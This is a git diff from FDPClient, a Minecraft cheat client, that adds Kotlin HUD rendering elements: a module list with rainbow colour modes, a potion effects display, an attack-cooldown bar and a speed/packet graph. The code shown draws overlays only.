ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(rectCustomColor, 100, index + 1).rgb + else -> rectCustomColor.rgb + } + + when (rectMode.lowercase()) { + "left" -> RenderUtils.drawRect(xPos - 5, yPos, xPos - 2, yPos + textHeight, + rectColor) + "right" -> RenderUtils.drawRect(-3F, yPos, -1F, + yPos + textHeight, rectColor) + "outline" -> { + RenderUtils.drawRect(-1F, yPos - 1F, 0F, + yPos + textHeight, rectColor) + RenderUtils.drawRect(xPos - 3, yPos, xPos - 2, yPos + textHeight, + rectColor) + if (module != modules[0]) { + RenderUtils.drawRect(xPos - 3 - (modules[index - 1].width - module.width), yPos, xPos - 2, yPos + 1, + rectColor) + if (module == modules[modules.size - 1]) { + RenderUtils.drawRect(xPos - 3, yPos + textHeight, 0.0F, yPos + textHeight + 1, + rectColor) + } + } + } + "special" -> { + if (module == modules[0]) { + RenderUtils.drawRect(xPos - 2, yPos, 0F, yPos - 1, rectColor) + } + if (module == modules[modules.size - 1]) { + RenderUtils.drawRect(xPos - 2, yPos + textHeight, 0F, yPos + textHeight + 1, rectColor) + } + } + "top" -> { + if (module == modules[0]) { + RenderUtils.drawRect(xPos - 2, yPos, 0F, yPos - 1, rectColor) + } + } + } + } + } + } + + Horizontal.LEFT -> { + modules.forEachIndexed { index, module -> + val xPos = -(module.width - module.slide) + if (rectMode.equals("left", true)) 5 else 2 + val realYPos = if (slideInAnimation.get() && !module.state) { if (side.vertical == Vertical.DOWN) { 0f } else { -textHeight } } else { (if (side.vertical == Vertical.DOWN) -textSpacer else textSpacer) *if (side.vertical == Vertical.DOWN) index + 1 else index } + val yPos = module.yPos + if (yPos != realYPos) {module.yPos = realYPos} + } + modules.forEachIndexed { index, module -> + val CRainbow: Int = RenderUtils.getRainbowOpaque(cRainbowSecValue.get(), saturationValue.get(), brightnessValue.get(), counter[0] * (50 * cRainbowDistValue.get())) + val xPos = -(module.width - module.slide) + if (rectMode.equals("left", true)) 5 else 2 + val realYPos = if (slideInAnimation.get() && !module.state) { if (side.vertical == Vertical.DOWN) { 0f } else { -textHeight } } else { (if (side.vertical == Vertical.DOWN) -textSpacer else textSpacer) * + if (side.vertical == Vertical.DOWN) index + 1 else index } + val yPos = module.yPos + if (yPos != realYPos) { + module.yPos = realYPos + } + val moduleColor = Color.getHSBColor(module.hue, saturation, brightness).rgb + RenderUtils.drawRect( + 0F, + yPos, + xPos + module.width + if (rectMode.equals("right", true)) 5 else 2 + backgroundExpand.get(), + yPos + textHeight, + when (backgroundColorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Astolfo" -> RenderUtils.Astolfo(index * speed.get(), saturationValue.get(), brightnessValue.get()) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(backgroundCustomColor, 100, index + 1).rgb + else -> backgroundCustomColor.rgb + } + ) + blur( + 0F, + yPos, + xPos + module.width + if (rectMode.equals("right", true)) 5 else 2 + backgroundExpand.get(), + yPos + textHeight, + ) + val mName = changeCase(getModuleName(module)) + val mTag = changeCase(getModuleTag(module)) + fontRenderer.drawString(mName, xPos, yPos + textY, when (colorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(customColor, 100, index + 1).rgb + else -> customColor.rgb + }, textShadow) + + fontRenderer.drawString(mTag, xPos + fontRenderer.getStringWidth(mName), yPos + textY, + ColorUtils.reverseColor(when (tagColorModeValue.get().lowercase()) { + "rainbow" -> ColorUtils.reverseColor(ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get())) + "random" -> Color(moduleColor) + "crainbow" -> Color(RenderUtils.getRainbowOpaque(cRainbowSecValue.get(), saturationValue.get(), brightnessValue.get(), counter[0] * (50 * cRainbowDistValue.get()))) + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()) + "Astolfo" -> Color(RenderUtils.Astolfo(index * speed.get(), saturationValue.get(), brightnessValue.get())) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1) + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()) + "anotherrainbow" -> ColorUtils.reverseColor(ColorUtils.fade(tagCustomColor, 100, index + 1)) + else -> ColorUtils.reverseColor(tagCustomColor) + }).rgb, textShadow) + + if (!rectMode.equals("none", true)) { + val rectColor = when (rectColorMode.lowercase()) { + "rainbow" -> ColorUtils.hslRainbow(index + 1, indexOffset = 100 * rainbowSpeed.get()).rgb + "random" -> moduleColor + "CRainbow" -> CRainbow + "skyrainbow" -> ColorUtils.skyRainbow(index, saturationValue.get(), brightnessValue.get(), rainbowSpeed.get().toDouble()).rgb + "Astolfo" -> RenderUtils.Astolfo(index * speed.get(), saturationValue.get(), brightnessValue.get()) + "Static" -> ColorUtils.StaticRainbow(rainbowSpeed.get(), index + 1).rgb + "slowly" -> ColorUtils.slowlyRainbow(System.nanoTime(), index * 30 * rainbowSpeed.get(), saturationValue.get(), brightnessValue.get()).rgb + "anotherrainbow" -> ColorUtils.fade(rectCustomColor, 100, index + 1).rgb + else -> rectCustomColor.rgb + } + + when { + rectMode.equals("left", true) -> RenderUtils.drawRect(0F, + yPos - 1, 3F, yPos + textHeight, rectColor) + rectMode.equals("right", true) -> + RenderUtils.drawRect(xPos + module.width + 2, yPos, xPos + module.width + 2 + 3, + yPos + textHeight, rectColor) + } + } + } + } + } + + // Draw border + if (mc.currentScreen is GuiHudDesigner) { + x2 = Int.MIN_VALUE + + if (modules.isEmpty()) { + return if (side.horizontal == Horizontal.LEFT) { + Border(0F, -1F, 20F, 20F) + } else { + Border(0F, -1F, -20F, 20F) + } + } + + for (module in modules) { + when (side.horizontal) { + Horizontal.RIGHT, Horizontal.MIDDLE -> { + val xPos = -module.slide.toInt() - 2 + if (x2 == Int.MIN_VALUE || xPos < x2) x2 = xPos + } + Horizontal.LEFT -> { + val xPos = module.slide.toInt() + 14 + if (x2 == Int.MIN_VALUE || xPos > x2) x2 = xPos + } + } + } + y2 = (if (side.vertical == Vertical.DOWN) -textSpacer else textSpacer) * modules.size + + return Border(0F, 0F, x2 - 7F, y2 - if (side.vertical == Vertical.DOWN) 1F else 0F) + } + + GlStateManager.resetColor() + return null + } + + override fun updateElement() { + modules = FDPClient.moduleManager.modules + .filter { it.array && !shouldExpect(it) && (it.state || it.slide > 0 || !(it.yPosAnimation==null || it.yPosAnimation!!.state==Animation.EnumAnimationState.STOPPED)) } + .sortedBy { -it.width } + } + + override fun drawBoarderBlur(blurRadius: Float) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Cooldown.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Cooldown.kt new file mode 100644 index 0000000..2117901 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Cooldown.kt @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.utils.CooldownHelper +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import java.awt.Color + +/** + * CustomHUD cooldown element + * + * Shows simulated attack cooldown + */ +@ElementInfo(name = "Cooldown") +class Cooldown(x: Double = 0.0, y: Double = -14.0, scale: Float = 1F, + side: Side = Side(Side.Horizontal.MIDDLE, Side.Vertical.MIDDLE)) : Element(x, y, scale, side) { + + /** + * Draw element + */ + override fun drawElement(partialTicks: Float): Border { + val progress = CooldownHelper.getAttackCooldownProgress() + + if (progress < 1.0) { + RenderUtils.drawRect(-25f, 0f, 25.0f, 3f, Color(0, 0, 0, 150).rgb) + RenderUtils.drawRect(-25f, 0f, 25.0f - 50.0f * progress.toFloat(), 3f, Color(0, 111, 255, 200).rgb) + } + + return Border(-25F, 0F, 25F, 3F) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Effects.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Effects.kt new file mode 100644 index 0000000..f67009b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Effects.kt @@ -0,0 +1,340 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FontValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.AWTFontRenderer.Companion.assumeNonVolatile +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.realpha +import net.ccbluex.liquidbounce.utils.render.Colors +import net.ccbluex.liquidbounce.utils.render.PotionData +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Translate +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.resources.I18n +import net.minecraft.potion.Potion +import net.minecraft.potion.PotionEffect +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.abs +import kotlin.math.max +import kotlin.math.min + +@ElementInfo(name = "Effects") +class Effects : Element() { + private val modeValue: ListValue = ListValue("Mode", arrayOf("FDP", "Default","Vanilla"), "FDP") + val shadow: BoolValue = BoolValue("Shadow", true) + private val iconValue: BoolValue = BoolValue("Icon", true) + private val fontValue = FontValue("Font", Fonts.font35).displayable {modeValue.equals("Vanilla")} + private val anotherStyle = BoolValue("New", false).displayable { modeValue == {"Vanilla"} } + private val nameValue: BoolValue = BoolValue("Name", true) + private val colorValue: BoolValue = BoolValue("Color", false) + + override var x: Double = 10.0 + override var y: Double = 100.0 + private val potionMap: MutableMap<Potion, PotionData> = HashMap() + + private fun draw(): Border? { + if (modeValue.get() == "Vanilla") { + val fontRenderer = fontValue.get() + + var y = 0F + var width = 0F + + assumeNonVolatile = true + + for (effect in mc.thePlayer.activePotionEffects) { + if (side.vertical == Side.Vertical.DOWN) + y -= fontRenderer.FONT_HEIGHT + if (anotherStyle.get()) 1F else 0F + + val potion = Potion.potionTypes[effect.potionID] + + val number = when { + effect.amplifier == 1 -> "II" + effect.amplifier == 2 -> "III" + effect.amplifier == 3 -> "IV" + effect.amplifier == 4 -> "V" + effect.amplifier == 5 -> "VI" + effect.amplifier == 6 -> "VII" + effect.amplifier == 7 -> "VIII" + effect.amplifier == 8 -> "IX" + effect.amplifier == 9 -> "X" + effect.amplifier > 10 -> "X+" + else -> "I" + } + + val duration = if (effect.isPotionDurationMax) 30 else effect.duration / 20 + val name = if (anotherStyle.get()) + "${I18n.format(potion.name)} $number ${if (duration < 15) "§c" else if (duration < 30) "§6" else "§7"}${Potion.getDurationString(effect)}" + else + "${I18n.format(potion.name)} $number§f: §7${Potion.getDurationString(effect)}" + val stringWidth = fontRenderer.getStringWidth(name).toFloat() + + if (side.horizontal == Side.Horizontal.RIGHT) { + if (width > -stringWidth) + width = -stringWidth + } else { + if (width < stringWidth) + width = stringWidth + } + + when (side.horizontal) { + Side.Horizontal.RIGHT -> fontRenderer.drawString(name, -stringWidth, y + if (side.vertical == Side.Vertical.UP) -fontRenderer.FONT_HEIGHT.toFloat() else 0F, potion.liquidColor, shadow.get()) + Side.Horizontal.LEFT, Side.Horizontal.MIDDLE -> fontRenderer.drawString(name, 0F, y + if (side.vertical == Side.Vertical.UP) -fontRenderer.FONT_HEIGHT.toFloat() else 0F, potion.liquidColor, shadow.get()) + } + + if (side.vertical == Side.Vertical.UP) + y += fontRenderer.FONT_HEIGHT + if (anotherStyle.get()) 1F else 0F + } + + assumeNonVolatile = false + + if (width == 0F) + width = if (side.horizontal == Side.Horizontal.RIGHT) -40F else 40F + + if (y == 0F) // alr checked above + y = if (side.vertical == Side.Vertical.UP) fontRenderer.FONT_HEIGHT.toFloat() else -fontRenderer.FONT_HEIGHT.toFloat() + + return Border(0F, 0F, width, y) + } + if ((modeValue.get() == "FDP")) { + GlStateManager.pushMatrix() + var y = 0 + for (potionEffect: PotionEffect in mc.thePlayer.activePotionEffects) { + val potion: Potion = Potion.potionTypes[potionEffect.potionID] + val name: String = I18n.format(potion.name) + val potionData: PotionData? + if (potionMap.containsKey(potion) && potionMap[potion]!!.level == potionEffect.amplifier) potionData = + potionMap[potion] + else potionMap[potion] = + (PotionData(Translate(0f, -40f + y), potionEffect.amplifier).also { + potionData = it + }) + var flag = true + for (checkEffect: PotionEffect in mc.thePlayer.activePotionEffects) if (checkEffect.amplifier == potionData!!.level) { + flag = false + break + } + if (flag) potionMap.remove(potion) + var potionTime: Int + var potionMaxTime: Int + try { + potionTime = + Potion.getDurationString(potionEffect).split(":".toRegex()).dropLastWhile { it.isEmpty() } + .toTypedArray()[0].toInt() + potionMaxTime = + Potion.getDurationString(potionEffect).split(":".toRegex()).dropLastWhile { it.isEmpty() } + .toTypedArray()[1].toInt() + } catch (ignored: Exception) { + potionTime = 100 + potionMaxTime = 1000 + } + val lifeTime: Int = (potionTime * 60 + potionMaxTime) + if (potionData!!.getMaxTimer() == 0 || lifeTime > potionData.getMaxTimer() + .toDouble() + ) potionData.maxTimer = lifeTime + var state = 0.0f + if (lifeTime >= 0.0) state = + (lifeTime / (potionData.getMaxTimer().toFloat()).toDouble() * 100.0).toFloat() + val position: Int = Math.round(potionData.translate.y + 5) + state = max(state.toDouble(), 2.0).toFloat() + potionData.translate.interpolate(0f, y.toFloat(), 0.1) + potionData.animationX = getAnimationState( + potionData.getAnimationX().toDouble(), + (1.2f * state).toDouble(), + (max( + 10.0, + (abs((potionData.animationX - 1.2f * state).toDouble()) * 15.0f) + ) * 0.3f) + ).toFloat() + + RenderUtils.drawRect( + 0f, potionData.translate.y, 120f, potionData.translate.y + 30f, realpha.reAlpha( + Colors.GREY.c, 0.1f + ) + ) + RenderUtils.drawRect( + 0f, potionData.translate.y, potionData.animationX, potionData.translate.y + 30f, realpha.reAlpha( + (Color(34, 24, 20)).brighter().rgb, 0.3f + ) + ) + RenderUtils.drawShadow(0f, Math.round(potionData.translate.y).toFloat(), 120f, 30f) + val posY: Float = potionData.translate.y + 13f + Fonts.font40.drawString( + name + " " + intToRomanByGreedy(potionEffect.amplifier + 1), + 29f, + posY - mc.fontRendererObj.FONT_HEIGHT, + realpha.reAlpha( + Colors.WHITE.c, 0.8f + ) + ) + Fonts.font35.drawString( + Potion.getDurationString(potionEffect), 29f, posY + 4.0f, realpha.reAlpha( + (Color(200, 200, 200)).rgb, 0.5f + ) + ) + if (potion.hasStatusIcon()) { + GlStateManager.pushMatrix() + GL11.glDisable(2929) + GL11.glEnable(3042) + GL11.glDepthMask(false) + OpenGlHelper.glBlendFunc(770, 771, 1, 0) + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + val statusIconIndex: Int = potion.statusIconIndex + mc.textureManager.bindTexture(ResourceLocation("textures/gui/container/inventory.png")) + mc.ingameGUI.drawTexturedModalRect( + 6f, + (position + 1).toFloat(), statusIconIndex % 8 * 18, 198 + statusIconIndex / 8 * 18, 18, 18 + ) + GL11.glDepthMask(true) + GL11.glDisable(3042) + GL11.glEnable(2929) + GlStateManager.popMatrix() + } + y -= 35 + } + GlStateManager.popMatrix() + return Border(0f, 0f, 120f, 30f) + } + if ((modeValue.get() == "Default")) { + val xOffset = 21 + var yOffset = 14 + + val activePotions: Collection<PotionEffect> = mc.thePlayer.activePotionEffects + val sortedPotions: ArrayList<PotionEffect> = ArrayList(activePotions) + sortedPotions.sortWith(Comparator.comparingInt { potion: PotionEffect -> -potion.duration }) + + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f) + GlStateManager.disableLighting() + + val fontRenderer: FontRenderer = font.get() + + for (potion: PotionEffect in sortedPotions) { + val effect: Potion = checkNotNull(Potion.potionTypes[potion.potionID]) + if (effect.hasStatusIcon() && iconValue.get()) { + drawStatusIcon( + xOffset, + yOffset, + effect.statusIconIndex % 8 * 18, + 198 + effect.statusIconIndex / 8 * 18 + ) + } + + if (nameValue.get()) { + drawPotionName(potion, effect, xOffset, yOffset, fontRenderer) + } + + if (nameValue.get()) { + drawPotionDuration(potion, xOffset, yOffset, fontRenderer) + } + + drawPotionDuration(potion, xOffset, yOffset, fontRenderer) + + yOffset += fontRenderer.FONT_HEIGHT * 2 + 4 // Add some space between the effects + } + + val height: Float = (yOffset - 4).toFloat() + + val width = 100.0f + return Border(0F, 0F, width, height) + } + return null + } + + private fun intToRomanByGreedy(num: Int): String { + var num: Int = num + val values: IntArray = intArrayOf(1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1) + val symbols: Array<String> = arrayOf("M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I") + val stringBuilder: StringBuilder = StringBuilder() + var i = 0 + while (i < values.size && num >= 0) { + while (values[i] <= num) { + num -= values[i] + stringBuilder.append(symbols[i]) + } + i++ + } + + return stringBuilder.toString() + } + + private fun getAnimationState(animation: Double, finalState: Double, speed: Double): Double { + var animation: Double = animation + val add: Float = (0.01 * speed).toFloat() + if (animation < finalState) { + if (animation + add < finalState) animation += add.toDouble() + else animation = finalState + } else { + if (animation - add > finalState) animation -= add.toDouble() + else animation = finalState + } + return animation + } + + private fun drawStatusIcon(xOffset: Int, yOffset: Int, textureX: Int, textureY: Int) { + mc.textureManager.bindTexture(ResourceLocation("textures/gui/container/inventory.png")) + RenderUtils.drawTexturedModalRect(x.toInt() + xOffset - 20, y.toInt() + yOffset, textureX, textureY, 18, 18, 0f) + } + + private fun drawPotionName( + potion: PotionEffect, + effect: Potion, + xOffset: Int, + yOffset: Int, + fontRenderer: FontRenderer + ) { + var level: String? = I18n.format(effect.name) + if (potion.amplifier > 0) { + val amplifier: Int = min((potion.amplifier + 1).toDouble(), 4.0).toInt() + level += " " + I18n.format("enchantment.level.$amplifier") + } + + val potionColor: Int = + if (colorValue.get()) getPotionColor(potion) else Color.WHITE.rgb // Use white color when colorValue is false + fontRenderer.drawString(level, (x + xOffset).toFloat(), (y + yOffset).toFloat(), potionColor, shadow.get()) + } + + private fun drawPotionDuration(potion: PotionEffect, xOffset: Int, yOffset: Int, fontRenderer: FontRenderer) { + val durationString: String = Potion.getDurationString(potion) + val potionColor: Int = + if (colorValue.get()) getPotionColor(potion) else Color.WHITE.rgb // Use white color when colorValue is false + fontRenderer.drawString( + durationString, + (x + xOffset).toFloat(), + (y + yOffset + (if (nameValue.get()) fontRenderer.FONT_HEIGHT.toFloat() else fontRenderer.FONT_HEIGHT.toFloat() / 2)).toFloat(), + potionColor, + shadow.get() + ) + } + + private fun getPotionColor(potion: PotionEffect): Int { + return if (potion.duration < 200) { + Color(215, 59, 59).rgb + } else if (potion.duration < 400) { + Color(231, 143, 32).rgb + } else { + Color(172, 171, 171).rgb + } + } + + + override fun drawElement(partialTicks: Float): Border? { + return draw() + } + + companion object { + var font: FontValue = FontValue("Font", Fonts.minecraftFont) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Graph.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Graph.kt new file mode 100644 index 0000000..87b2c71 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/Graph.kt @@ -0,0 +1,189 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + * This file is a skid of https://github.com/WYSI-Foundation/LiquidBouncePlus/ + */ + +package net.ccbluex.liquidbounce.ui.client.hud.element.elements + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.Element +import net.ccbluex.liquidbounce.ui.client.hud.element.ElementInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.Side +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketCounterUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.lang.Math.pow +import kotlin.math.sqrt + +/** + * CustomHUD text element + * + * Allows to draw custom text + */ +@ElementInfo(name = "Graph") +class Graph(x: Double = 75.0, y: Double = 110.0, scale: Float = 1F, + side: Side = Side(Side.Horizontal.MIDDLE, Side.Vertical.DOWN)) : Element(x, y, scale, side) { + + // general + private val graphValue = ListValue("Graph-Value", arrayOf("Speed", "BPS", "Packet-In", "Packet-Out"), "Speed") + private val updateDelay = IntegerValue("Update-Delay", 1000, 0, 5000) + private val xMultiplier = FloatValue("xMultiplier", 7F, 1F, 20F) + private val yMultiplier = FloatValue("yMultiplier", 7F, 0.1F, 20F) + private val maxGraphValues = IntegerValue("MaxGraphValues", 100, 1, 300) + private val maxHeight = FloatValue("MaxHeight", 50F, 30F, 150F) + private val thickness = FloatValue("Thickness", 2F, 1F, 3F) + private val displayGraphName = BoolValue("Display-Name", true) + private val nameValue = BoolValue("Name-Value", true) + private val fontValue = FontValue("Font", Fonts.minecraftFont) + + // average settings + private val showAverageLine = BoolValue("Show-Average", true) + private val averageLayer = ListValue("Average-Layer", arrayOf("Top", "Bottom"), "Bottom") + private val avgUpdateDelay = IntegerValue("Average-Update-Delay", 1000, 0, 5000) + + // bg color + private val bgredValue = IntegerValue("Background-Red", 0, 0, 255) + private val bggreenValue = IntegerValue("Background-Green", 0, 0, 255) + private val bgblueValue = IntegerValue("Background-Blue", 0, 0, 255) + private val bgalphaValue = IntegerValue("Background-Alpha", 120, 0, 255) + private val bordredValue = IntegerValue("Border-Red", 255, 0, 255) + private val bordgreenValue = IntegerValue("Border-Green", 255, 0, 255) + private val bordblueValue = IntegerValue("Border-Blue", 255, 0, 255) + private val bordalpha = IntegerValue("Border-Alpha", 255, 0, 255) + private val bordRad = FloatValue("Border-Width", 3F, 0F, 10F) + + private val valueStore = arrayListOf<Float>() + private val timer = MSTimer() + private val avgtimer = MSTimer() + private var averageNumber = 0F + + private var lastX = 0.0 + private var lastZ = 0.0 + private var speedVal = 0F + + private var lastValue = "" + + override fun updateElement() { + if (mc.thePlayer == null) return + speedVal = sqrt(pow(lastX - mc.thePlayer.posX, 2.0) + pow(lastZ - mc.thePlayer.posZ, 2.0)).toFloat() * 20F * mc.timer.timerSpeed + lastX = mc.thePlayer.posX + lastZ = mc.thePlayer.posZ + } + + override fun drawElement(partialTicks: Float): Border { + val font = fontValue.get() + val width = maxGraphValues.get() * xMultiplier.get() + val markColor = Color(0.1F, 1F, 0.1F).rgb + val bgColor = Color(bgredValue.get(), bggreenValue.get(), bgblueValue.get(), bgalphaValue.get()).rgb + val borderColor = Color(bordredValue.get(), bordgreenValue.get(), bordblueValue.get(), bordalpha.get()).rgb + + var defaultX = 0F + + if (mc.thePlayer == null || lastValue != graphValue.get()) { + valueStore.clear() + averageNumber = 0F + } + + lastValue = graphValue.get() + + if (timer.hasTimePassed(updateDelay.get().toLong())) { + when (graphValue.get().lowercase()) { + "speed" -> valueStore.add(MovementUtils.getSpeed() * 10F) + "bps" -> valueStore.add(speedVal) + "packet-in" -> valueStore.add(PacketCounterUtils.avgInBound.toFloat()) + "packet-out" -> valueStore.add(PacketCounterUtils.avgOutBound.toFloat()) + } + while (valueStore.size > maxGraphValues.get()) + valueStore.removeAt(0) + timer.reset() + } + + if (avgtimer.hasTimePassed(avgUpdateDelay.get().toLong())) { + averageNumber = (averageNumber + valueStore[valueStore.size - 1]) / 2F + avgtimer.reset() + } + + val working = if (graphValue.get().startsWith("packet", true)) valueStore[valueStore.size - 1].toInt().toString() else String.format("%.2f", valueStore[valueStore.size - 1]) + val average = if (graphValue.get().startsWith("packet", true)) averageNumber.toInt().toString() else String.format("%.2f", averageNumber) + + if (displayGraphName.get()) { + var displayString = if (nameValue.get()) when (graphValue.get().lowercase()) { + "speed" -> "Player speed ($working blocks/tick)" + "bps" -> "Player speed ($working blocks/s)" + "packet-in" -> "Inbound packets ($working packets/s)" + else -> "Outbound packets ($working packets/s)" + } else when (graphValue.get().lowercase()) { + "speed" -> "Player speed" + "bps" -> "Player blocks/s" + "packet-in" -> "Inbound packets" + else -> "Outbound packets" + } + GlStateManager.pushMatrix() + GlStateManager.translate(0.5, -6.0 - font.FONT_HEIGHT.toDouble() / 2.0, 0.0) + GlStateManager.scale(0.75F, 0.75F, 0.75F) + font.drawStringWithShadow(displayString, 0F, 0F, -1) + GlStateManager.popMatrix() + } + + if (bgalphaValue.get() > 0F) + RenderUtils.drawRect(-1F, -1F, width - xMultiplier.get() + 1F, maxHeight.get() + 1F, bgColor) + + if (bordalpha.get() > 0F) + RenderUtils.drawBorder(-1F, -1F, width - xMultiplier.get() + 1F, maxHeight.get() + 1F, bordRad.get(), borderColor) + + val avgheight = Math.min(averageNumber * yMultiplier.get(), maxHeight.get()) + val firstheight = Math.min(valueStore[valueStore.size - 1] * yMultiplier.get(), maxHeight.get()) + + if (showAverageLine.get() && !nameValue.get()) font.drawStringWithShadow(average, -font.getStringWidth(average) - 3F, maxHeight.get() - avgheight - font.FONT_HEIGHT / 2F, markColor) + + GlStateManager.pushMatrix() + GlStateManager.enableBlend() + GlStateManager.disableTexture2D() + GL11.glEnable(GL11.GL_LINE_SMOOTH) + GL11.glLineWidth(thickness.get()) + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + val tessellator = Tessellator.getInstance() + val worldRenderer = tessellator.getWorldRenderer() + if (showAverageLine.get() && averageLayer.get().equals("bottom", true)) { + GlStateManager.color(0.1F, 1F, 0.1F, 1F) + worldRenderer.begin(GL11.GL_LINE_STRIP, DefaultVertexFormats.POSITION) + worldRenderer.pos(0.0, (maxHeight.get() - avgheight).toDouble(), 0.0).endVertex() + worldRenderer.pos((width - xMultiplier.get()).toDouble(), (maxHeight.get() - avgheight).toDouble(), 0.0).endVertex() + tessellator.draw() + } + GlStateManager.color(1F, 1F, 1F, 1F) + worldRenderer.begin(GL11.GL_LINE_STRIP, DefaultVertexFormats.POSITION) + for (valu in valueStore) { + val height = Math.min(valu * yMultiplier.get(), maxHeight.get()) + worldRenderer.pos(defaultX.toDouble(), (maxHeight.get() - height).toDouble(), 0.0).endVertex() + defaultX += xMultiplier.get() + } + tessellator.draw() + if (showAverageLine.get() && averageLayer.get().equals("top", true)) { + GlStateManager.color(0.1F, 1F, 0.1F, 1F) + worldRenderer.begin(GL11.GL_LINE_STRIP, DefaultVertexFormats.POSITION) + worldRenderer.pos(0.0, (maxHeight.get() - avgheight).toDouble(), 0.0).endVertex() + worldRenderer.pos((width - xMultiplier.get()).toDouble(), (maxHeight.get() - avgheight).toDouble(), 0.0).endVertex() + tessellator.draw() + } + GL11.glDisable(GL11.GL_LINE_SMOOTH) + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + GlStateManager.popMatrix() + + if (nameValue.get()) font.drawStringWithShadow(average, defaultX - xMultiplier.get() + 3F, maxHeight.get() - avgheight - font.FONT_HEIGHT / 2F, markColor) + else font.drawStringWithShadow(working, defaultX - xMultiplier.get() + 3F, maxHeight.get() - firstheight - font.FONT_HEIGHT / 2F, -1) + + return Border(0F, 0F, width, maxHeight.get() + 2F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/HealthRender.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/HealthRender.kt new file mode 100644 index 0000000..7760f4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/HealthRender.kt @@ -0,0 +1,65 @@ 